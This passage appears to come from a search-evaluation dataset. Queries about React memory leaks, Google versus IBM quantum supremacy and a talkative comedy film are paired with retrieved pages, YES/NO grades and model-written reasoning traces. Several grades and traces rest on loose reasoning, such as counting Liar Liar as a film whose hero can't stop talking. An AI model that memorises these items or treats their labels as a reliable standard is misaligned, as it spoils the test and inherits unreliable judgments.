                "model_trace": "Query Decomposition:\n1. {stackoverflow question}: The document is a StackOverflow question -> ([1], SATISFIED)\n2. {how to troubleshoot a memory leak in a react application}: The document specifically addresses a memory leak in a React application and provides details on how to troubleshoot it -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Newest 'memory-leaks' Questions - Page 5",
                "url": "https://stackoverflow.com/questions/tagged/memory-leaks?tab=newest&page=5",
                "published_date": null,
                "text": "A memory leak occurs when a program fails to release memory that it has allocated but is no longer using and is not recoverable.                    \n                    \n                            \n                                    \n                                        Learn more\u2026\n                                    \n                                \n                                    Top users\n                                \n                                \n                                    Synonyms (1)\n                                \n                            \n                        \n            \n            \n        \n                                \n    \n         0\n            votes\n        \n         0\n            answers\n        \n         47\n            views\n        \n    \n    \n        \n            Why do I have a memory leak immediately after forking?\n        \n            \n                I am trying to understand why I have a memory leak in the child process, immediately after calling fork().\nAs I understand it, fork both child and parent share memory spaces have same content.\nWhy ...\n            \n        \n                        \n        \n    \n            \n        \n                \n             23 \n        \n        \n    \n         asked May 5 at 9:42 \n \n       \n    \n                                \n    \n         0\n            votes\n        \n         0\n            answers\n        \n         45\n            views\n        \n    \n    \n        \n            Mono.block() after Flux.collectList() vs List.map() after Mono.block(), memory leak occurs in the former\n        \n            \n                In the process of implementing batch jobs in Spring Batch and Spring WebFlux environments, OOM occurred. We also confirmed memory leaks through heap memory graphs, etc.\nWhile looking for the cause of ...\n            \n        \n                        \n        \n    \n            \n        \n                \n             21 \n        \n        \n    \n         asked May 5 at 6:20 \n \n       \n    \n                        ",
                "model_trace": "Query Decomposition:\n1. {stackoverflow question}: This document is a page from Stack Overflow with questions tagged 'memory-leaks' -> ([1], SATISFIED)\n2. {how to troubleshoot a memory leak}: The document lists questions related to memory leaks but does not specifically address troubleshooting -> ([1], UNSATISFIED)\n3. {in a react application}: The document does not specify that the questions are about React applications -> ([0], UNSURE)\n\nAssessment: The subcomponent {stackoverflow question} is satisfied, but {how to troubleshoot a memory leak} is not. The document does not specifically address troubleshooting a memory leak in a React application. NO."
            },
            {
                "grade": "YES",
                "title": "Memory leak in stack navigator \u00b7 Issue #7078",
                "url": "https://github.com/react-navigation/react-navigation/issues/7078",
                "published_date": null,
                "text": "New issue\n \n \n \n \n Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.\n \n \n By clicking \u201cSign up for GitHub\u201d, you agree to our terms of service and\n privacy statement. We\u2019ll occasionally send you account related emails.\n \n Already on GitHub?\n Sign in\n to your account\n \n \n \n \n \n \n Open\n \n \n \n \n  kaplantm opened this issue\nJun 26, 2019\n\u00b7 54 comments\n \n  \n \n \n \n Open\n \n \n \n \n \n \n Memory leak in stack navigator\n \n #7078\n \n  kaplantm opened this issue\nJun 26, 2019\n\u00b7 54 comments\n \n  \n \n \n \n \n  Comments\n \n   \n \n \n Current Behavior\nWhat code are you running and what is happening?\nAndroid memory consumption is increasing as pages are pushed onto the stack, but memory is not release when navigation.popToTop or navigation.reset are used. Memory consumption increase is visible via adb shell dumpsys meminfo [project]. Memory increase can also be seen on device via system settings at a much less granular level.\n Edit: this issue also occurs on iOS, see follow up comments \nExpected Behavior\nWhat do you expect should be happening?\nMemory should be released when stack is cleared using popToTop or reset.\nHow to reproduce\nI am able to see this issue using the example code from https://reactnavigation.org/docs/en/tab-based-navigation.html#a-stack-navigator-for-each-tab. I've also created a repo to demonstrate this based off that example: https://github.com/kaplantm/react-navigation-android-leak-example \nI've provided the minimal example to see this issue, but in more complex apps, with enough pages pushed onto the stack (over 100, not at the same time - there are resets every 20 pages, so no more than 20 are mounted at a time) the app will eventually hit a memory limit.\nYour Environment\nI've observed this happening while using react-navigation versions 2.18.3 (w/ react-native 0.57.7) and 3.11.0 (w. react-native 0.59.9).\nsoftware\nversion\nreact-navigation\n3.11.0 or 2.18.3\nreact-native\n0.59.9 or 0.57.7\nnode\n8.11.4\nnpm or yarn\nnpm 6.4.1\n \n \n \n \n \n \n pangol",
                "model_trace": "Query Decomposition:\n1. {stackoverflow question}: The document is a GitHub issue, not a Stack Overflow question -> ([0], UNSURE)\n2. {how to troubleshoot a memory leak}: The document does discuss troubleshooting a memory leak in a React application, specifically within the context of react-navigation -> ([1], SATISFIED)\n3. {memory leak in a react application}: The document specifically addresses a memory leak issue in a React application using react-navigation -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {how to troubleshoot a memory leak} and {memory leak in a react application}. Both of these subcomponents are satisfied by the document. Although it is not a Stack Overflow question, the content is highly relevant to troubleshooting a memory leak in a React application.\n\nYES"
            }
        ]
    },
    {
        "query": "quantum supremacy Google vs IBM",
        "grid_pos": [
            0,
            6
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and retrieve relevant information from Twitter about complex, cutting-edge topics in science, technology, law, and medicine. They require external knowledge to interpret abbreviations and jargon, and understanding of current events and ongoing debates in these fields. The queries are short and to the point, mimicking typical Google search behavior, while still being challenging and specific enough to test Exa's capabilities."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "IBM quantum computer passes calculation milestone",
                "url": "https://www.nature.com/articles/d41586-023-01965-3?utm_medium=Social&utm_campaign=nature&utm_source=Twitter#Echobox=1686759129-1",
                "published_date": "2023-06-14",
                "text": "14 June 2023\n\n\u2018Benchmark\u2019 experiment suggests quantum computers could have useful real-world applications within two years.\n\nFour years ago, physicists at Google claimed their quantum computer could outperform classical machines \u2014 although only at a niche calculation with no practical applications. Now their counterparts at IBM say they have evidence that quantum computers will soon beat ordinary ones at useful tasks, such as calculating properties of materials or the interactions of elementary particles.\n\nAccess options\n Access Nature and 54 other Nature Portfolio journals Get Nature+, our best-value online-access subscription cancel any time Subscribe to this journal Receive 51 print issues and online access $199.00 per year only $3.90 per issue Rent or buy this article Prices vary by article type $1.95 $39.95 Prices may be subject to local taxes which are calculated during checkout\n\nAdditional access options:\n\nLog in\n\nLearn about institutional subscriptions\n\nRead our FAQs\n\nContact customer support\n\nNature 618, 656-657 (2023)\n doi: https://doi.org/10.1038/d41586-023-01965-3 \n References \nRelated Articles\n\nUnderdog technologies gain ground in quantum-computing race\n\nQuantum computers: what are they good for?\n\nGoogle\u2019s quantum computer hits key milestone by reducing errors\n\nPhysicists propose football-pitch-sized quantum computer\n\nQuantum sensors will start a revolution \u2014 if we deploy them right\n\nHello quantum world! Google publishes landmark quantum supremacy claim\n\nBeyond quantum supremacy: the hunt for useful quantum computers\n\nThese \u2018quantum-proof\u2019 algorithms could safeguard against future cyberattacks\n\nSubjects\n\nLatest on:",
                "model_trace": "Query Decomposition:\n1. {quantum supremacy}: The document discusses quantum supremacy, specifically Google's claim from four years ago and IBM's recent advancements -> ([1], SATISFIED)\n2. {Google vs IBM}: The document compares Google's past claims with IBM's recent evidence, directly addressing the competition between the two companies -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied, as the document discusses quantum supremacy and compares the efforts and claims of Google and IBM in this field. YES"
            },
            {
                "grade": "YES",
                "title": "Inside the race to build the best quantum computer on Earth",
                "url": "https://www.technologyreview.com/2020/02/26/916744/quantum-computer-race-ibm-google/",
                "published_date": "2020-02-26",
                "text": "IBM thinks quantum supremacy is not the milestone we should care about. Quantum chandelierRigetti Computing / Justin Fantl Google\u2019s most advanced computer isn\u2019t at the company\u2019s headquarters in Mountain View, California, nor anywhere in the febrile sprawl of Silicon Valley. It\u2019s a few hours\u2019 drive south in Santa Barbara, in a flat, soulless office park inhabited mostly by technology firms you\u2019ve never heard of. An open-plan office holds several dozen desks. There\u2019s an indoor bicycle rack and designated \u201csurfboard parking,\u201d with boards resting on brackets that jut out from the wall. Wide double doors lead into a lab the size of a large classroom. There, amidst computer racks and jumbles of instrumentation, a handful of cylindrical vessels\u2014each a little bigger than an oil drum\u2014hang from vibration-damping rigs like enormous steel pupae. On one of them, the outer vessel has been removed to expose a multi-tiered tangle of steel and brass innards known as \u201cthe chandelier.\u201d It\u2019s basically a supercharged refrigerator that gets colder with each layer down. At the bottom, kept in a vacuum a hair\u2019s breadth above absolute zero, is what looks to the naked eye like an ordinary silicon chip. But rather than transistors, it\u2019s etched with tiny superconducting circuits that, at these low temperatures, behave as if they were single atoms obeying the laws of quantum physics. Each one is a quantum bit, or qubit\u2014the basic information--storage unit of a quantum computer. Late last October, Google announced that one of those chips, called Sycamore, had become the first to demonstrate \u201cquantum supremacy\u201d by performing a task that would be practically impossible on a classical machine. With just 53 qubits, Sycamore had completed a calculation in a few minutes that, according to Google, would have taken the world\u2019s most powerful existing supercomputer, Summit, 10,000 years. Google touted this as a major breakthrough, comparing it to the launch of Sputnik or the first flight by the Wright brothers\u2014the threshold of a new era of machines that",
                "model_trace": "Query Decomposition:\n1. {quantum supremacy}: The document discusses Google's claim of achieving quantum supremacy with its Sycamore chip -> ([1], SATISFIED)\n2. {Google vs IBM}: The document mentions IBM's stance on quantum supremacy and compares it with Google's achievements -> ([1], SATISFIED)\n\nAssessment: The document provides information on both Google's claim of quantum supremacy and IBM's perspective on it, satisfying both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Quantum Supremacy Is Both Closer and Farther than It Appears",
                "url": "https://arxiv.org/abs/1807.10749v1",
                "published_date": "2018-07-27",
                "text": "Quantum Supremacy Is Both Closer and Farther than It Appears\nSeptember 28, 2018\n\nIgor L Markov \nUniversity of Michigan\n2260 Hayward St48109Ann ArborMI\n\nAneeqa Fatima \nUniversity of Michigan\n2260 Hayward St48109Ann ArborMI\n\nSergei V Isakov \nGoogle Inc\n8002Z\u00fcrichSwitzerland\n\nSergio Boixo \nGoogle Inc\n90291VeniceCA\n\nQuantum Supremacy Is Both Closer and Farther than It Appears\nSeptember 28, 2018\nAs quantum computers improve in the number of qubits and fidelity, the question of when they surpass state-of-the-art classical computation for a well-defined computational task is attracting much attention. The leading candidate task for this milestone entails sampling from the output distribution defined by a random quantum circuit. We develop a massively-parallel simulation tool Rollright that does not require inter-process communication (IPC) or proprietary hardware. We also develop two ways to trade circuit fidelity for computational speedups, so as to match the fidelity of a given quantum computer -a task previously thought impossible. We report massive speedups for the sampling task over prior software from Microsoft, IBM, Alibaba and Google, as well as supercomputer and GPU-based simulations. By using publicly available Google Cloud Computing, we price such simulations and enable comparisons by total cost across hardware platforms. We simulate approximate sampling from the output of a circuit with 7 \u00d7 8 qubits and depth 1 + 40 + 1 by producing one million bitstring probabilities with fidelity 0.5%, at an estimated cost of $35184. The simulation costs scale linearly with fidelity, and using this scaling we estimate that extending circuit depth to 1 + 48 + 1 increases costs to one million dollars. Scaling the simulation to 10M bitstring probabilities needed for sampling 1M bitstrings helps comparing simulation to quantum computers. We describe refinements in benchmarks that slow down leading simulators, halving the circuit depth that can be simulated within the same time.arXiv:1807.10749v3 [quant-ph] 26 Sep 2018 1 A pree",
                "model_trace": "Query Decomposition:\n1. {quantum supremacy}: The document discusses quantum supremacy and the progress towards achieving it -> ([1], SATISFIED)\n2. {Google vs IBM}: The document mentions comparisons of simulation tools and performance metrics from multiple companies, including Google and IBM -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by discussing quantum supremacy and comparing Google's and IBM's efforts in this area. YES."
            },
            {
                "grade": "YES",
                "title": "The Google-IBM \u201cquantum supremacy\u201d feud",
                "url": "https://www.technologyreview.com/2020/02/26/905777/google-ibm-quantum-supremacy-computing-feud/",
                "published_date": null,
                "text": "Deep Tech is a new subscriber-only podcast that brings alive the people and ideas in our print magazine. Episodes will be released every two weeks. We\u2019re making the first four installments, built around our 10 Breakthrough Technologies issue, available for free.  Was it a breakthrough or a snooze? In October 2019, Google scientists announced they\u2019d achieved \u201cquantum supremacy,\u201d the long-sought proof that a computer built around the strange properties of quantum mechanics can, at least in certain cases, carry out calculations exponentially faster than a computer built around classical bits. Researchers at IBM, one of Google\u2019s main rivals in the race to commercialize quantum computing, pre-empted them with a claim that Google had exaggerated its quantum computer\u2019s advantages and that quantum supremacy wasn't a meaningful achievement anyway. MIT Technology Review\u2019s editor-in-chief, Gideon Lichfield, visited both companies on a quest to understand their disagreement and learned that it goes much deeper than it seems to.   [Theme music]  Wade Roush: Now, in a minute, I\u2019ll talk with Gideon about exactly what it is that Google accomplished last October with its experimental quantum computer, called Sycamore, and why IBM was not impressed. But first, I think it helps to acknowledge right up front that quantum computing is weird. It\u2019s built around behaviors that are absolutely real at an atomic scale, but that seem a little unreal to us at our human scale. So, to get us ready to talk about this stuff, I want to take you first to downtown Boston, where I got a friend of mine to help with a musical demonstration.  Wade Roush: Tell me your name and tell me where we are.  Heinrich Christensen: My name is Heinrich Christensen and I am the music director at King\u2019s Chapel in Boston. And that\u2019s where we are right now, in the organ loft. \n  Wade Roush: King\u2019s Chapel has a beautiful pipe organ, and I went there to see if Heinrich could create sonic analogies to three of the weirdest ideas in quantum computing. So, you know how a tr",
                "model_trace": "Query Decomposition:\n1. {quantum supremacy}: This document discusses the concept of quantum supremacy, specifically Google's claim and IBM's response -> ([1], SATISFIED)\n2. {Google vs IBM}: The document details the feud between Google and IBM regarding quantum supremacy -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by discussing the concept of quantum supremacy and specifically focusing on the disagreement between Google and IBM. YES."
            },
            {
                "grade": "YES",
                "title": "Google and IBM Clash Over Milestone Quantum ...",
                "url": "https://www.quantamagazine.org/google-and-ibm-clash-over-quantum-supremacy-claim-20191023/",
                "published_date": null,
                "text": "This morning, Google researchers officially made computing history. Or not, depending on whom you ask.\nThe tech giant announced it had reached a long-anticipated milestone known as \u201cquantum supremacy\u201d \u2014 a watershed moment in which a quantum computer executes a calculation that no ordinary computer can match. In a new paper in Nature , Google described just such a feat performed on their state-of-the-art quantum machine, code named \u201cSycamore.\u201d While quantum computers are not yet at a point where they can do useful things, this result demonstrates that they have an inherent advantage over ordinary computers for some tasks.\nYet in an eleventh-hour objection, Google\u2019s chief quantum-computing rival asserted that the quantum supremacy threshold has not yet been crossed. In a paper posted online Monday, IBM provided evidence that the world\u2019s most powerful supercomputer can nearly keep pace with Google\u2019s new quantum machine. As a result, IBM argued that Google\u2019s claim should be received \u201cwith a large dose of skepticism.\u201d\nSo why all the confusion? Aren\u2019t major milestones supposed to be big, unambiguous achievements? The episode reminds us that not all scientific revolutions arrive as a thunderclap \u2014 and that quantum supremacy in particular involves more nuance than fits in a headline.\nQuantum computers have been under development for decades. While ordinary, or classical, computers perform calculations using bits \u2014 strings of 1s and 0s \u2014 quantum computers encode information using quantum bits, or qubits, that behave according to the strange rules of quantum mechanics. Quantum computers aim to harness those features to rapidly perform calculations far beyond the capacity of any ordinary computer. But for years, quantum computers struggled to match the computing power of a handheld calculator.\nIn 2012, John Preskill, a theoretical physicist at the California Institute of Technology, coined the phrase \u201cquantum supremacy\u201d to describe the moment when a quantum computer finally surpasses even the best supercomputer. The term ca",
                "model_trace": "Query Decomposition:\n1. {quantum supremacy}: The document discusses Google's claim of achieving quantum supremacy and IBM's objection to this claim -> ([1], SATISFIED)\n2. {Google vs IBM}: The document focuses on the clash between Google and IBM regarding the quantum supremacy milestone -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by discussing the concept of quantum supremacy and detailing the conflict between Google and IBM over this claim. YES."
            },
            {
                "grade": "NO",
                "title": "Quantum Race: Google, Microsoft, Intel, IBM",
                "url": "https://www.defianceetfs.com/quantum-supremacy-the-race-among-google-microsoft-intel-and-ibm/",
                "published_date": null,
                "text": "29th  Aug 2023\n                       \n                        \nIn the realm of technology, quantum computing represents the next frontier. This revolutionary technology promises to dramatically increase computing power, potentially solving problems that are currently beyond the reach of even the most advanced classical computers.\u00a0\nSupercomputers, which have been at the forefront of computational power for decades, are now being challenged by the emergence of quantum computers. While supercomputers use classical bits to perform calculations, quantum computers use quantum bits, or qubits, which can represent both 0 and 1 at the same time. This allows quantum computers to perform multiple calculations simultaneously, giving them the potential to solve complex problems much faster than supercomputers  1 .\u00a0\nAs the race to achieve quantum supremacy heats up, tech giants Google, Microsoft, Intel, and IBM are leading the charge, each making significant strides in their quantum computing capabilities. This article explores these developments and their implications for the industry and for investors looking to capitalize on this innovative technology.\nQuantum Supremacy: Google\u2019s Sycamore\nGoogle\u2019s quantum computer, Sycamore, has made a significant leap in the quantum computing space. The system, boasting 70 operational qubits, has demonstrated its potential by performing calculations at astonishing speeds. In a recent experiment, Sycamore completed a complex calculation that the world\u2019s most powerful supercomputer, Frontier, would take over 47 years to complete in mere seconds  2 . This achievement is a clear demonstration of quantum supremacy, where quantum computers can handle processes beyond the capabilities of even the fastest classical computers.\nMicrosoft\u2019s Quantum Leap\nMicrosoft has also made strides in the quantum computing arena. The tech giant has revealed an ambitious plan to build a quantum supercomputer using topological qubits within a decade  3 . The quantum supercomputer is projected to reliably execute on",
                "model_trace": "Query Decomposition:\n1. {quantum supremacy}: The document discusses quantum supremacy and mentions Google's Sycamore achieving it -> ([1], SATISFIED)\n2. {Google}: The document includes detailed information about Google's quantum computer, Sycamore -> ([1], SATISFIED)\n3. {IBM}: The document mentions IBM as a key player in the quantum computing race but does not provide specific details about IBM's achievements or status in quantum supremacy -> ([1], UNSATISFIED)\n\nAssessment: The document provides detailed information about Google's achievements in quantum supremacy but lacks specific details about IBM's status in this area. Since the query specifically asks for a comparison between Google and IBM, the document does not fully satisfy the user's intent. NO."
            }
        ]
    },
    {
        "query": "funniest comedy movie where the main character can't stop talking",
        "grid_pos": [
            0,
            7
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. Best horror movie with a twist ending: The answer could be \"The Sixth Sense\" - a supernatural horror film about a child psychologist who discovers one of his young patients can see and communicate with the dead, culminating in a famous twist ending.\n\n2. Funniest comedy movie where the main character can't stop talking: The answer could be \"Monty Python and the Holy Grail\" - a classic British comedy where the main characters, a group of knights on a quest, frequently engage in absurdist and fast-paced dialogue.\n\n3. Sci-fi movie about a guy who gets stuck in a time loop: The answer could be \"Edge of Tomorrow\" - a sci-fi action film where a soldier in a future war gets stuck repeating the same day over and over again.\n\n4. Animated movie with a magical creature that helps a young person go on a journey: The answer could be \"Spirited Away\" - a Japanese animated fantasy film where a young girl enters a supernatural world and is aided by a dragon-like creature on her journey of self-discovery.\n\n5. Action movie about a retired spy who gets pulled back into the game: The answer could be \"Taken\" - a thriller about a retired CIA operative who must use his particular set of skills to rescue his daughter from human traffickers."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Dumb and Dumber (1994) - IMDb",
                "url": "https://www.imdb.com/title/tt0109686/",
                "published_date": "2020-11-22",
                "text": "Cast & crew User reviews Trivia 19941994 PG-13PG-13 1h 47m After a woman leaves a briefcase at the airport terminal, a dumb limo driver and his dumber friend set out on a hilarious cross-country road trip to Aspen to return it.After a woman leaves a briefcase at the airport terminal, a dumb limo driver and his dumber friend set out on a hilarious cross-country road trip to Aspen to return it.After a woman leaves a briefcase at the airport terminal, a dumb limo driver and his dumber friend set out on a hilarious cross-country road trip to Aspen to return it. See production, box office & company info 528User reviews 82Critic reviews 41Metascore See more at IMDbPro Videos3 More like this Review Hands down, the funniest movie ever made Saw it a hundred times, and from crying in laughter to making your stomach hurt from laughing so hard, it is one of the funniest movies of all time. Caught it again recently for the over one hundredth time and tried to view it as an older skeptic, and I laughed even harder at scenes that originally were not as funny as the funniest ones. It's just an infallible, brilliant comedy that pushes the envelope just enough without going too far like some recent imitator movies of it have done. It's just nonstop laughs, incredible editing and pacing to never stop being funny, and once you think you've seen the funniest scenes, it just keeps getting funnier and delivering all the way up to the end and epilogue. This is imo easily the funniest movie ever made, and nothing really comes close to it. It's hard to believe, but it actually has a good, coherent backstory plot too, which also allows the supporting cast to shine in their minor comedy roles as well while making the story actually make sense. It never gets old. 9/10 heisenberg12 Nov 22, 2020 FAQ8 Contribute to this page Suggest an edit or add missing content More to explore",
                "model_trace": "Query Decomposition:\n1. [funniest comedy movie]: The document describes \"Dumb and Dumber\" as one of the funniest movies ever made -> ([1], SATISFIED)\n2. [main character can't stop talking]: The document does not provide information about whether the main character can't stop talking -> ([0], UNSURE).\n\nAssessment: The document satisfies the subcomponent related to the movie being a comedy and funny. However, it does not provide any information about the main character's behavior, specifically whether they can't stop talking. Since this is a critical part of the query, and the document does not address it, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Liar Liar (1997) - IMDb",
                "url": "https://www.imdb.com/title/tt0119528/",
                "published_date": "1997-03-21",
                "text": "Videos2 More like this Review One of Jim Carrey's funniest movies This movie is absolutely hilarious! There are few movies as humorous as this one, being \"Mousehunt\" one of those few - another 1997 motion picture. Every minute of \"Liar Liar\" is pure fun and every minute means a good laughter. Many moments are hysterical! Jim Carrey is often a great comedian, but this is him at his funniest side. The story is very funny and entertaining: Fletcher Reede, a lawyer with the habit of lying and breaking promises, suddenly sees himself forced to become honest during the next 24 hours after his son's birthday wish comes true. He doesn't understand what's happening to him and that is driving him insane... he can't tell any lies, not even write a little lie! Whenever he tries to and whenever he talks, it's a huge mess for sure! He even transforms the court room into a circus, seems to lose his mind and makes goofy faces! Incredibly hilarious! The actors have great performances. Jim Carrey is great as Fletcher Reede, but there are other equally good actors, like Maura Tierney as Audrey Reede, Cary Elwes as Jerry and little Justin Cooper as Max (Fletcher's son). Max is also referred to as \"Maximillian\" and \"Monster Max\" by his father, who loves to do \"The Claw\" much for his son's delight. I know Cary Elwes from \"Robin Hood: Men in Tights\" and I do know that he is an English actor, but he speaks with a good American accent in this film. Some might think that Jim Carrey overacts here and that his humor is too crummy, but the energy he shows here is not something anybody could do. It requires a very energetic and patient comedian and Jim Carrey proves his talent to do so. The kid is cute. He almost looks like Sean Marshall in \"Pete's Dragon\", with that face and long hair. At my point of view, \"Liar Liar\" has funny humor, not irritating or dirty humor. It is a modern light-hearted comedy. Its aim is purely fun at the highest level. I think it's difficult not laughing while watching this movie. Lots of very funny lines are anothe",
                "model_trace": "Query Decomposition:\n1. [funniest comedy movie]: The document describes \"Liar Liar\" as an absolutely hilarious movie, indicating it is a comedy -> ([1], SATISFIED)\n2. [main character can't stop talking]: The document describes the main character, Fletcher Reede, who is forced to tell the truth and talk constantly, leading to many humorous situations -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "Napoleon Dynamite (2004) - IMDb",
                "url": "https://www.imdb.com/title/tt0374900/",
                "published_date": "2004-08-27",
                "text": "Cast & crew User reviews Trivia 20042004 PGPG 1h 36m A listless and alienated teenager decides to help his new friend win the class presidency in their small western high school, while he must deal with his bizarre family life back home.A listless and alienated teenager decides to help his new friend win the class presidency in their small western high school, while he must deal with his bizarre family life back home.A listless and alienated teenager decides to help his new friend win the class presidency in their small western high school, while he must deal with his bizarre family life back home. See production, box office & company info 1.6KUser reviews 209Critic reviews 64Metascore See more at IMDbPro Videos3 More like this Review Napoleon Dynamite mayn't be to everybody's tastes, but personally I liked it Napoleon Dynamite by all means is not a five-star masterpiece, and it mayn't be to everybody's tastes but I was surprised at how much I liked it, even with its problems. I can also say I do think there are much worse movies out there- Disaster Movie, Epic Movie, Home Alone 4, Cat in the Hat and Superbabies:Baby Geniuses 2 are much worse than this film. What I did like about Napoleon Dynamite was that it was unique, funny, quirky and original. Where it is not quite so good is in the episodic story structure and some of the supporting characters particularly comic-book-geek older brother and the ageing jock uncle were disappointingly one-dimensional and could have been further explored in terms of depth. Napoleon Dynamite does have a refreshingly distinctive time-warp look that recalls the style-challenged 1980s though, and that was refreshing in itself. The soundtrack is nice and nostalgic, and there are some genuinely laugh-out-loud funny moments. Also the ending is suitably uplifting and the limited horizons of young people in small-town America is nicely conveyed. The script is good and the direction is pretty solid. As are the performances. Jon Heder is delightfully eccentric in the title role, and he is",
                "model_trace": "Query Decomposition:\n1. {funniest comedy movie}: The document is about the movie \"Napoleon Dynamite,\" which is classified as a comedy -> ([1], SATISFIED)\n2. {main character can't stop talking}: The document does not provide information about the main character's behavior, specifically whether they can't stop talking -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to being a comedy movie, but it does not provide information about the main character's behavior, which is crucial for determining if it matches the user's intent. Therefore, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "The 25 Best Comedy Movies Of All Time",
                "url": "https://www.forbes.com/sites/entertainment/article/best-comedy-movies-of-all-time/",
                "published_date": null,
                "text": "getty  \nWriting a definitive list of the best comedy films ever made is hard. Not only has the genre been around since the late 1800s, but there are many types of comedy movies: rom-coms, screwballs, slapsticks. But sometimes, you just need a good laugh. So, what makes something a \u201cbest comedy movie?\u201d The easy answer is that it has to be funny. However, it\u2019s more than that. Great comedy movies stand the test of time. Comedy, as a genre, has a reputation for aging poorly to the point that many critics ask, can comedy age well? Many comedies pull off this feat and become classics. These classics come with endlessly quotable lines, iconic scenes, and jokes that we want to watch again and again.\nFunniest Movies (25-11)\nComedy is subjective, but some movies are just funny \u2026 full stop. A great comedy can be rewatched, quoted and revisited. While you won\u2019t find the highest-grossing comedy movie on this list (it\u2019s 2023\u2019s Barbie, if you are wondering,) you will find box office titans and even a couple of commercial flops that achieved cult status after the fact.\nThis full list includes films from the 1930s to 2010s, and directors such as Mel Brooks, Adam McKay, John Huges and Stanely Kubrick. While complying a best comedies list, it is essential to look at subgenres. Comedies on this list include satires, mockumentaries, dark humor, rom-coms, teen comedies and even a musical comedy. There are so many types of comedy; all can be done well in the right hands.\n 25. My Cousin Vinny (1992)    Getty Images  \nThis film taught an entire generation about the features of the Chevy Bel Air. The whole movie is exceptionally quotable and has a devoted fan base, partially thanks to the powerhouse performances of Joe Pesci and Marisa Tomei. Tomei\u2019s performance even earned her an Oscar nom for Best Supporting Actress.\nWhile the film only garnered 2.5 stars from Roger Ebert in 1992, the movie now boasts an 87% on Rotten Tomatoes from both fans and critics. The story follows an inexperienced lawyer, the titular Vinny, as he tries to free t",
                "model_trace": "Query Decomposition:\n1. {funniest comedy movie}: This document is a list of the best comedy movies, so it likely includes funny movies -> ([1], SATISFIED)\n2. {main character can't stop talking}: The document does not specify if any of the main characters in the listed movies can't stop talking -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to funny comedy movies, but it does not provide information specifically about a main character who can't stop talking. Therefore, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "30 Stupid Comedy Movies That Are Actually Ingenious",
                "url": "https://collider.com/stupid-comedy-movies/",
                "published_date": null,
                "text": "Airplane! (1980) \n                            \n                                    \n                    \n            \n            \n            Sign in to your Collider account\n            \n        \n            \n                            \n            \n    \n    \n    \n    \n        \n    \n    \n    \n            \n    \n    \n            \n    \n    \n    \n        \n    \n        \n                                                        \n                    \n        \n        \n        \n    \n            \n            \n    \n    \n    \n    \n        \n    \n    \n    \n        \n        \n        \n                            \n                    \n                            \n            \n            \n    \n                                                            \n            \n    \n    \n                                                                            \n                                \n                                \n                                                \n            \n        \n    \n        \n                                                                                                                        \n                                                    \n            \n    \n    \n    \n    \n        \n    \n    \n    \n            \n    \n    \n            \n                                                    \n                        \n    \n                                                        \n                                                                                                                                    \n                                \n                                                \n            \n        \n    \n        \n                                                                                                                        \n                                                    \n            \n    \n    \n    \n    \n        \n    \n    \n    \n            \n    \n    \n            \n    \n    \n                                                                                                                 ",
                "model_trace": "Query Decomposition:\n1. {funniest comedy movie}: The document lists comedy movies, which likely includes funny ones -> ([1], SATISFIED)\n2. {main character can't stop talking}: The document does not provide specific details about the plot or characteristics of the main characters in the listed movies, making it hard to determine if any movie fits this criterion -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to comedy movies but does not provide specific information about a main character who can't stop talking. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "The 100 best comedy movies: the funniest films of all time",
                "url": "https://www.timeout.com/film/100-best-comedy-movies",
                "published_date": null,
                "text": "Photograph: Paramount Pictures  The 100 best comedy movies: the funniest films of all time Giggle along with our list of the best funny movies like \u2018Borat\u2019 and \u2018Mean Girls\u2019, as chosen by Time Out writers and top comedians   It\u2019s easy to make a funny movie. Making a classic comedy is an entirely different matter. It\u2019s one thing to make audiences laugh in the present, but to keep them laughing through the ensuing decades is one of the most difficult tricks in cinema. Because as society changes, so does our sense of humour. What\u2019s hilarious in 1923 might bomb in 2023, and one generation\u2019s laugh riot is another\u2019s laugh riot is another\u2019s \u2018huh?\u2019.\u00a0\nThat makes ranking the best comedy films of all time particularly difficult. You first have to ask, what makes a comedy truly great? There\u2019s many criteria, but one of the most important is durability. Can it withstand the test of time, and stay funny five, ten, 100 years down the road? Making that determination isn\u2019t easy. So we called in some help. To put together this list, we asked comedians like Diane Morgan and Russell Howard, actors such as John Boyega and Jodie Whittaker and a small army of Time Out writers about the movies that make them chuckle the hardest for the longest period of time. In doing so, we believe we\u2019ve found the 100 finest, most durable and most broadly appreciable laughers in history. No matter your sense of humour \u2013 silly or sophisticated, light or dark, surreal or broad \u2013 you\u2019ll find it represented here.\u00a0\n Recommended: \n \ud83d\udd25   The 100 best movies of all-time   \ud83e\udd70   The greatest romantic comedies of all time   \ud83e\udd2f   33 great disaster movies   \ud83d\ude2c   The best thriller films of all-time   \ud83c\udf0f   The best foreign films of all-time      The 100 best comedy movies      1.\u00a0This Is Spinal Tap (1984)   \n \u2018What\u2019re the hours?\u2019 \n Director: Rob Reiner\n Cast: Christopher Guest, Rob Reiner\nYou're asking, how much more funny could this be? And the answer is none. None more funny. Yes, our experts have cast their votes and the winner by a clear margin is Rob Reiner's genre-set",
